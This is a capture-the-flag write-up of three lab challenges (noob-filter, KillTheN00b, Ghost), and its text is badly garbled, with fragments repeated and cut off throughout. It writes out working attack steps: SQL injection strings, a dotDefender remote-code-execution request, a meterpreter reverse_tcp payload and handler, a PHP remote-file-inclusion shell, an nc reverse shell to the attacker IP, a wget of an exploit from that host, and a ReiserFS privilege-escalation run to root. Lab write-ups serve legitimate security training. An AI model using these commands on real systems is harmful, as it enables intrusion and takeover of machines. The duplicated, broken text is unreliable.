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Phase 1 had to be completed first before you were added to the scoreboard and given 
VPN. You are instructed to look for n00bSecret.txt from the www
filesystem. 

 

The homepage presents you with a 
different types of input to see their results.

it returns

Phase 1: 
Phase 1 had to be completed first before you were added to the scoreboard and given 

. You are instructed to look for n00bSecret.txt from the www(1|2).noob-filter.com local 

 
with a username/password login box. We test the form

different types of input to see their results. First we enter something standard like admin/password, 
it returns a page with an image saying you failed. 

 
 

Phase 1 had to be completed first before you were added to the scoreboard and given details to the 
filter.com local 

. We test the form by entering 
enter something standard like admin/password, 



Now we try to exploit it with SQL injection by trying the
combo. This time you are greeted with a
 
We  must work out why it did not display the standard message saying you failed.
more inputs to test what is going on, the message still comes up with just OR without any single 
quotes, so it can’t be SQL injection
probably generated by the IDS/WAF so
 
Upon viewing the html source code
meta tags that tell you what software is behind 

 
We search for possible vulnerabilities
compromise. 
 
After a little bit of searching we find: 
execution, perfect! We just need to be able to bypass the basic authentication.
where some of the management files are on the serv
 
We visit http://www1.noob-filter.com/
authentication login box. A very large amount of applications that use basic authentica
generally insecure and using a default username and password. We try the combination 
admin/password and it works! 
 
Now for some reason, when you first log into the dotDefender Site management
firewall to trip and ban you for 5 minutes, making it near
“Load images automatically” and “Disable Javascript” you are now able 
manager page. 
 

 
We open up the firefox plugin livehttpheaders and refresh the page to get the exact header 

exploit it with SQL injection by trying the well known ' OR '1' = '1 / ' OR '1' = '1
ted with a white page that says HAHAHAHA! 

not display the standard message saying you failed.
more inputs to test what is going on, the message still comes up with just OR without any single 

injection, it is most likely an IDS/WAF. So the page 
the IDS/WAF so we should have a closer inspection to see if it can 

viewing the html source code of the “HAHAHAHA!” page, we find some information in the 
meta tags that tell you what software is behind it. A web application firewall by Applicure

 

vulnerabilities and general information about the WAF that 

find: http://seclists.org/fulldisclosure/2009/Nov/357
just need to be able to bypass the basic authentication. 

some of the management files are on the server. 

filter.com/dotDefender/index.cgi and are presented by a basic 
authentication login box. A very large amount of applications that use basic authentica
generally insecure and using a default username and password. We try the combination 

when you first log into the dotDefender Site management
for 5 minutes, making it near impossible to interact with

matically” and “Disable Javascript” you are now able to interact with the si

up the firefox plugin livehttpheaders and refresh the page to get the exact header 

known ' OR '1' = '1 / ' OR '1' = '1 
 

not display the standard message saying you failed. We enter some 
more inputs to test what is going on, the message still comes up with just OR without any single 

he page “HAHAHAHA!” is 
nspection to see if it can help. 

find some information in the 
it. A web application firewall by Applicure 

information about the WAF that might aid in a 

http://seclists.org/fulldisclosure/2009/Nov/357 , Remote code 
 The page also lists 

and are presented by a basic 
authentication login box. A very large amount of applications that use basic authentication are 
generally insecure and using a default username and password. We try the combination 

when you first log into the dotDefender Site management it causes the 
interact with. By turning off 

to interact with the site 

up the firefox plugin livehttpheaders and refresh the page to get the exact header 



information it sends, and compare it against the attack request we found on 
identical, except the attack request contains some
 

 
This time we add the POST content from the attack example on seclists into the POST field in 
hackbar and submit it. 

It works! Our system command from the explo
find n00bSecret.txt.  
 
By running the command  
 

information it sends, and compare it against the attack request we found on google. They are nearly 
the attack request contains some POST content. 

 

his time we add the POST content from the attack example on seclists into the POST field in 

 

 
It works! Our system command from the exploit ran and output into the page! Now we just need to 

google. They are nearly 

his time we add the POST content from the attack example on seclists into the POST field in 

it ran and output into the page! Now we just need to 



> locate n00bSecret.txt 
 
We were able to find where n00bSecret.txt is hiding on the filesystem. Now we just run the 
command: 
 
>  cat /opt/0c2b7b8071ee658e1c957d3b024ff872d2/n00bSec ret.txt 
 
And we have completed the challenge. 
 
 
  



 

Phase 2 – KillTheN00b 
 

We start by enumerating one of the hosts from the KillTheN00b challenge 192.168.6.70-72. 

 

> nmap -v -p - 192.168.6.70 --send-ip -PN -sV 

 

The --send-ip parameter was needed as nmap trys to send ARP ping requests on hosts on the same 
network, and it appears the network was filtering/blocking ARP requests making these scans fail. 

 

 

PORT      STATE SERVICE       VERSION 

21/tcp    open  ftp   Complete FTP Server 3.3.0 

25/tcp    open  smtp          Surgemail smtpd 3.8k4 -4 

80/tcp    open  http          DNews Web Based Manag er 

106/tcp   open  pop3pw        Qualcomm poppassd (Ma ximum users connected) 

110/tcp   open  pop3          SurgeMail pop3d 3.8k4 -4 

143/tcp   open  imap          SurgeMail imapd 3.8k4 -4 

366/tcp   open  smtp          Surgemail smtpd 3.8k4 -4 

465/tcp   open  tcpwrapped 

587/tcp   open  smtp          Surgemail smtpd 3.8k4 -4 

993/tcp   open  tcpwrapped 

995/tcp   open  tcpwrapped 

3389/tcp  open  microsoft-rdp Microsoft Terminal Se rvice 

7025/tcp  open  tcpwrapped 

7026/tcp  open  http          Surgemail webmail (DN ews based) 

7110/tcp  open  pop3          SurgeMail pop3d 3.8k4 -4 

7443/tcp  open  tcpwrapped 

7995/tcp  open  tcpwrapped  

14982/tcp open  ftp   Complete FTP Admin v 3.3.0 

Service Info: Host: killthen00b; OS: Windows 

 
 

To get more information about services that nmap failed to get a information for, I manually use 
netcat to connect to see what they might be. 

 

We try to connect to rdp using rdesktop, and identify that the machine is “Windows 7 Ultimate N”, 
with a user called root. 



 

Next we connect to the web server
SurgeMail interfaces: 

·  Webmail: /scripts/webmail.exe

·  User Self Management: /cgi/user.cgi

·  Domain Management: Port 7443 /cgi/domadmin.cgi

They all require a username and password to login.

 

Next we try to login to the ftp server, and attempt to use the username and password that had been 
given in the challenge instructions

 

 

root@bt:~# ftp 192.168.6.70 

Connected to 192.168.6.70. 

220-Complete FTP server 

220 FTP Server v 3.3.0 

Name (192.168.6.70:root): devil

331 Password required for devil

web server and have a quick look what’s there. It has links 

Webmail: /scripts/webmail.exe 

User Self Management: /cgi/user.cgi 

Domain Management: Port 7443 /cgi/domadmin.cgi 

username and password to login. 

to login to the ftp server, and attempt to use the username and password that had been 
in the challenge instructions. Username: devil Password: killthen00b 

Name (192.168.6.70:root): devil  

331 Password required for devil  

there. It has links to various 

to login to the ftp server, and attempt to use the username and password that had been 



Password: 

230 User devil logged in. 

Remote system type is UNIX. 

Using binary mode to transfer files. 

ftp> ls 

200 PORT command successful. 

150 Opening ASCII mode data connection for listing 

dr-xrwx--- 1 admin users              0 May 04 00:1 0 My Music 

dr-xrwx--- 1 admin users              0 May 04 00:1 0 My Pictures 

dr-xrwx--- 1 admin users              0 May 04 00:1 0 My Videos 

226 Transfer complete. 

Ftp> 

 

 
 

The username/password work as expected, looking around the ftp shows that the directories are all 
empty, or do not even let you enter them. 

 

Looking for public exploits in the software discovered turns up: 

 

NetWin Surgemail 3.8k4-4 IMAP post-auth Remote LIST Universal Exploit  

http://www.exploit-db.com/exploits/5259 

 

The IMAP server on killthen00b is almost certainly vulnerable to this, especially since the creators 
are part of the team who created these challenges. Unfortunately this is a post-auth exploit and the 
devil account doesn’t appear to work on IMAP. 

 

Having a look online for information about “Complete Ftp Server 3.3.0” shows almost no 
information and the instructions had given us an account, it seemed highly probable that there 
would be some vulnerabilities post-auth on the FTP server. 

 

After trying a few different directory traversal strings, you will find that you can use C:\ to get out 
of the ftp directory. 

 

 

ftp> ls C:\\ 

200 PORT command successful. 

150 Opening ASCII mode data connection for listing 

dr-xrwx--- 1 admin users              0 May 03 22:5 8 $Recycle.Bin 

dr-xrwx--- 1 admin users              0 Jul 13 2009  Documents and Settings 

dr-xrwx--- 1 admin users              0 Jul 13 2009  PerfLogs 

dr-xrwx--- 1 admin users              0 May 03 19:2 0 Program Files 



dr-xrwx--- 1 admin users              0 May 03 19:2 1 ProgramData 

dr-xrwx--- 1 admin users              0 May 03 22:5 1 Python26 

dr-xrwx--- 1 admin users              0 Apr 30 01:2 1 Recovery 

dr-xrwx--- 1 admin users              0 May 06 04:5 9 surgemail 

dr-xrwx--- 1 admin users              0 May 03 22:3 8 System Volume Information 

dr-xrwx--- 1 admin users              0 May 04 00:1 0 Users 

dr-xrwx--- 1 admin users              0 May 03 21:2 8 Windows 

-r--rr---- 1 admin users             24 Jun 10 2009  autoexec.bat 

-r--rr---- 1 admin users             10 Jun 10 2009  config.sys 

-r--rr---- 1 admin users     2043449344 May 03 23:1 4 pagefile.sys 

-r--rr---- 1 admin users       12645888 May 03 05:5 3 surgemail_installer.exe 

226 Transfer complete. 

 

 

This gave full read/write privileges to the filesystem with the ftp daemon permissions. Now we 
want to abuse this access to get code execution. 

To do this we can try to abuse the fact there is also a webserver running on the machine that 
executes files when you request them. 

Remembering that there was the /scripts/webmail.exe directory on the webserver it is not difficult to 
find that the full path is C:\surgemail\scripts\ 

We generate a reverse_tcp meterpreter executable and uploaded it into the C:\surgemail\scripts\ 
folder through the ftpd and executed it by visiting http://192.168.6.70/scripts/rev.exe 

 
 
root@bt:~# msfpayload windows/meterpreter/reverse_t cp LHOST=192.168.6.122 LPORT=33666 X 
> rev1.exe 
Created by msfpayload (http://www.metasploit.com). 
Payload: windows/meterpreter/reverse_tcp 
 Length: 290 
Options: LHOST=192.168.6.122,LPORT=33666 
 
root@bt:~# msfconsole 
 
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpre ter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 192.168.6.122 
LHOST => 192.168.6.122 
msf exploit(handler) > set LPORT 33666 
LPORT => 33666 
msf exploit(handler) > set ExitOnSession false 
ExitOnSession => false 
msf exploit(handler) > exploit -j 
[*] Exploit running as background job. 
 
ftp> put ~/rev1.exe C:\\surgemail\\scripts\\rev1.ex e 
local: /root/rev1.exe remote: C:\surgemail\scripts\ rev1.exe 
200 PORT command successful. 
150 Opening BINARY mode data connection for C:\surg email\scripts\rev1.exe 
226 Transfer complete. 
37888 bytes sent in 0.94 secs (39.3 kB/s) 
ftp> quit 
221 Goodbye. 
root@bt:/# wget http://192.168.6.70/scripts/rev1.ex e 
 
[*] Meterpreter session 1 opened (192.168.6.122:336 66 -> 192.168.6.70:49534) 



 

 
 
 
 
From here it wasn’t hard to find the proof.txt and complete killthen00b!
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

hard to find the proof.txt and complete killthen00b! 



First we enumerate a host from 192.168.6.66
 
With little else to do we begin browsing 
similar to the one in the beginning of the 
 

 
We try different types of user/password combinations 
has anything different about it depending on what you enter
probably not doing anything at all.
 
This page doesn’t have any links on 
index.asp, so now we must guess w
dirbuster. 
 
Using the small lowercase list without recursion
long before directories are found.
 
Now we will manually look through what we have found.
pages so we don’t have to bruteforce anymore. If you look at the response codes only a couple of 
them return 200 and a few 403 and a few 302. 
you somewhere you didn’t know before, the 403's are mostly useless since you 
inside this directory. By following this we find a few things:

Phase 2 – Ghost 
 

First we enumerate a host from 192.168.6.66-68 using nmap, and find out that only port 80 is open.

browsing http://192.168.6.66, where we are greeted by a login page, 
e in the beginning of the noob-filter challenge, which did absolutely nothing.

e try different types of user/password combinations to test if there is SQL injection 
ent about it depending on what you enter. The form seems to do nothing and is 

probably not doing anything at all. 

links on it, the form submits to login.asp which just redirects to 
must guess where more files are. A good way to do so is

Using the small lowercase list without recursion and changing the threads to 100, 
. 

Now we will manually look through what we have found. Hopefully we will find links on these 
have to bruteforce anymore. If you look at the response codes only a couple of 

and a few 302. It’s good to follow the 302 redirect to see if they take 
know before, the 403's are mostly useless since you 

inside this directory. By following this we find a few things: 

find out that only port 80 is open. 

we are greeted by a login page, 
did absolutely nothing. 

 

injection or if the form 
he form seems to do nothing and is 

to login.asp which just redirects to 
way to do so is by using the tool 

o 100, it doesn’t take too 

opefully we will find links on these 
have to bruteforce anymore. If you look at the response codes only a couple of 

good to follow the 302 redirect to see if they take 
know before, the 403's are mostly useless since you can’t access files 



 
/test/ �  test.asp 
It contains a javascript file that rotates a few images... not terribly useful.
 
/index/ 
This is the same login page from index.asp the background image is broken through since it tries to 
load on a non-existent folder. From this we can deduce that there is s
file extension. 
 
/1/ 
This directory contains another log
needs to be tested just like the others
user/pass combo it displays the message
 
The rest of the documents found are either going somewhere we have looked at before, or are 
broken. 
 
That leaves us with only one directory that we would actually be able to traverse /1/ and it also has 
the most interesting script, which most likely has some real password checking functionality and 
maybe other functionality behind it.
 
Because we know file types are being ignored/
a relatively short amount of time we soon find 
 
After reading what is inside the file version i
 
Simple Text-File Login script version 1.0.6.
 

contains a javascript file that rotates a few images... not terribly useful. 

This is the same login page from index.asp the background image is broken through since it tries to 
folder. From this we can deduce that there is something setup to ignore the 

nother log-in page however this one is different to the page before and 
needs to be tested just like the others. After testing the login form you find when enteri

message:”Wrong username or password.” 

The rest of the documents found are either going somewhere we have looked at before, or are 

That leaves us with only one directory that we would actually be able to traverse /1/ and it also has 
which most likely has some real password checking functionality and 

maybe other functionality behind it. 

Because we know file types are being ignored/rewritten we dirbust /1/ without file extensions. After 
a relatively short amount of time we soon find the file /1/version 

After reading what is inside the file version it becomes very obvious what script is at

version 1.0.6. 

This is the same login page from index.asp the background image is broken through since it tries to 
omething setup to ignore the 

to the page before and 
find when entering a 

The rest of the documents found are either going somewhere we have looked at before, or are 

That leaves us with only one directory that we would actually be able to traverse /1/ and it also has 
which most likely has some real password checking functionality and 

we dirbust /1/ without file extensions. After 

becomes very obvious what script is at /1/: 



(Looking at the source code of /1/ also shows the field names which are different 
on the challenge pages: slogin_POST_username and slogin_POST_
slogin_POST_send, and by searching for these on goog
 
We can now search for vulnerabilities
with:  
http://www.exploit-db.com/exploits/7444
 
Remote file inclusion perfect! The exploit code explains that the slogin_path variable is included in 
the include_once statement multiple times.
 
[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_she
 
We need to set up a web server and make the 
script include the code we are hosting.
 
We turn on our httpd and browse to /var/www 
and copy over whatever web-shell we want to 
use. 
 
Because the vulnerable script includes multiple files, we only want it to include our own once, so 
we create a php file containing: 
 
 <?php echo '<?php include($_GET[c]); die(); ?>'; ?>
 
 
When included this will make it include another file that we specify with the c GET variable.
 
We name it header.inc.php because the script always appends header.inc.php to the end of the 
slogin_path string. 
 
So now we are able to make a request like so:
http://192.168.6.66/1/slogin_lib.inc.php?slogin_pat h=http://192.168.6.122/&c=htt
p://192.168.6.122/web- shell.txt
 

at the source code of /1/ also shows the field names which are different 
: slogin_POST_username and slogin_POST_password and 

send, and by searching for these on google it will help you work out what script it is

vulnerabilities in this script. After a quick search on exploit

db.com/exploits/7444 

Remote file inclusion perfect! The exploit code explains that the slogin_path variable is included in 
the include_once statement multiple times. 

[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell] 

set up a web server and make the 
script include the code we are hosting. 

We turn on our httpd and browse to /var/www 
shell we want to 

Because the vulnerable script includes multiple files, we only want it to include our own once, so 

include($_GET[c]); die(); ?>'; ?>  

When included this will make it include another file that we specify with the c GET variable.

We name it header.inc.php because the script always appends header.inc.php to the end of the 

are able to make a request like so: 
http://192.168.6.66/1/slogin_lib.inc.php?slogin_pat h=http://192.168.6.122/&c=htt

shell.txt  

at the source code of /1/ also shows the field names which are different than anything else 
ord and 

le it will help you work out what script it is) 

in this script. After a quick search on exploit-db we come up 

Remote file inclusion perfect! The exploit code explains that the slogin_path variable is included in 

Because the vulnerable script includes multiple files, we only want it to include our own once, so 

When included this will make it include another file that we specify with the c GET variable. 

We name it header.inc.php because the script always appends header.inc.php to the end of the 

http://192.168.6.66/1/slogin_lib.inc.php?slogin_pat h=http://192.168.6.122/&c=htt



Woo so now we have code execution on ghost!

 
We can look around at the files for awhile, but it becomes apparent that we must elevate to root 
privileges to get the password to complete the challenge.
 
We collect some information about the linux server:
> uname -a  
Linux ghost 2.6.31-14- generic
i686 GNU/Linux 
 
Equipped with this information we
might work. 

 
 
There are a few likely candidates
on Oct 16 2009, its unlikely anything on exploit
Keeping that in mind without knowing much about the contents of the vulnerabilities we are 

Woo so now we have code execution on ghost! 

We can look around at the files for awhile, but it becomes apparent that we must elevate to root 
to get the password to complete the challenge. 

collect some information about the linux server: 

generic -pae #48- Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 

we head over to exploit-db and see if we can find anything that 

candidates that might work, since the kernel we are attacking was compiled 
on Oct 16 2009, its unlikely anything on exploit-db before that date will work on our 

that in mind without knowing much about the contents of the vulnerabilities we are 

We can look around at the files for awhile, but it becomes apparent that we must elevate to root 

Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 

db and see if we can find anything that 

ight work, since the kernel we are attacking was compiled 
db before that date will work on our kernel. 

that in mind without knowing much about the contents of the vulnerabilities we are 



probably only left with “Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation” and the 
pipe.c ones. We decide to check if the linux server is vulnerable to the ReiserFS xattr Privlege 
Escalation. 
 
First we check if we have any Reiser filesytems, 
> cat /etc/fstab 
 
 
# <file system> <mount point>   <type>  <options>       <dump>  <pass> 
proc            /proc           proc    defaults        0       0 
/dev/mapper/ghost-root /               ext4    erro rs=remount-ro 0       1 
# /boot was on /dev/sda5 during installation 
UUID=f9f46813-a78a-42e8-a007-53308212ee26 /boot           ext2    defaults        0       2 
/dev/sdb1 /apachelogs          reiserfs    user,noa uto,rw,exec,suid,user_xattr        0       2 
/dev/sdc1 /tmp        ext2        noexec,nosuid,rw                    0       0 
/dev/mapper/ghost-swap_1 none            swap    sw               0       0 
/dev/scd0       /media/cdrom0   udf,iso9660 user,no auto,exec,utf8 0       0 
/dev/fd0        /media/floppy0  auto    rw,user,noa uto,exec,utf8 0       0 
 

 
 
Indeed we have a raiserfs filesystem, it also has the user_xattr which is necessary for the exploit, 
and it has user mode, so anyone is able to mount it! It appears that we meet all the requirements for 
the exploit. 
 
We check to see if the reiserfs volume is mounted: 
>  mount 
 
 
/dev/mapper/ghost-root on / type ext4 (rw,errors=re mount-ro) 
proc on /proc type proc (rw) 
none on /sys type sysfs (rw,noexec,nosuid,nodev) 
none on /sys/fs/fuse/connections type fusectl (rw) 
none on /sys/kernel/debug type debugfs (rw) 
none on /sys/kernel/security type securityfs (rw) 
udev on /dev type tmpfs (rw,mode=0755) 
none on /dev/pts type devpts (rw,noexec,nosuid,gid= 5,mode=0620) 
none on /dev/shm type tmpfs (rw,nosuid,nodev) 
none on /var/run type tmpfs (rw,nosuid,mode=0755) 
none on /var/lock type tmpfs (rw,noexec,nosuid,node v) 
none on /lib/init/rw type tmpfs (rw,nosuid,mode=075 5) 
/dev/sdc1 on /tmp type ext2 (rw,noexec,nosuid) 
/dev/sda5 on /boot type ext2 (rw)  
 
 
 
The reiserfs is not mounted... so let’s mount it! 
 
>  mount /dev/sdb1 
 
We can check mount again to be sure it mounted and we see: 
 
/dev/sdb1 on /apachelogs type reiserfs (rw,nodev,us er_xattr,user=www-data) 
 
Ok, so now we have a look at what the exploit does and what we might need to change... 
 
It makes many references to /.reiserfs_priv/xattrs however our reiserfs is not mounted on root, 
instead it is mounted at /apachelogs , so we change all the values to say 
/apachelogs/.reiserfs_priv/xattrs 
 
It also compiles a shell, however it uses /tmp/ which we cannot write to, and is also not a part of the 



reiserfs volume, so we change all the /tmp/ values to /apachelogs/data/
 
One more thing, it runs gcc, however there is no gcc symbolic link on this system so we must 
change the references to gcc to gcc
 
Finally the exploit is ready, we put it into our www directory to be downloaded it to the server.
 
First we need to make an interactive shell
 
We setup a netcat listener 
 
nc -v -l -p 33666 
 
Then we run 
 
/bin/nc.traditional - c /bin/bash 192.168.6.122 33666
 
And we land into an interactive command shell.
 
Then we change into the correct directory
 
cd /apachelogs/data/ 
 
Download the exploit 
 
wget http://192.168.6.122/exploit.py
 
And run it 
 
python exploit.py 
 
whoami 
root 
 
From here it’s not hard to get the password and 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

reiserfs volume, so we change all the /tmp/ values to /apachelogs/data/ 

One more thing, it runs gcc, however there is no gcc symbolic link on this system so we must 
change the references to gcc to gcc-4.4 which does exist 

Finally the exploit is ready, we put it into our www directory to be downloaded it to the server.

interactive shell 

c /bin/bash 192.168.6.122 33666  

interactive command shell. 

we change into the correct directory 

http://192.168.6.122/exploit.py  

not hard to get the password and Ghost is complete... =) 

One more thing, it runs gcc, however there is no gcc symbolic link on this system so we must 

Finally the exploit is ready, we put it into our www directory to be downloaded it to the server. 


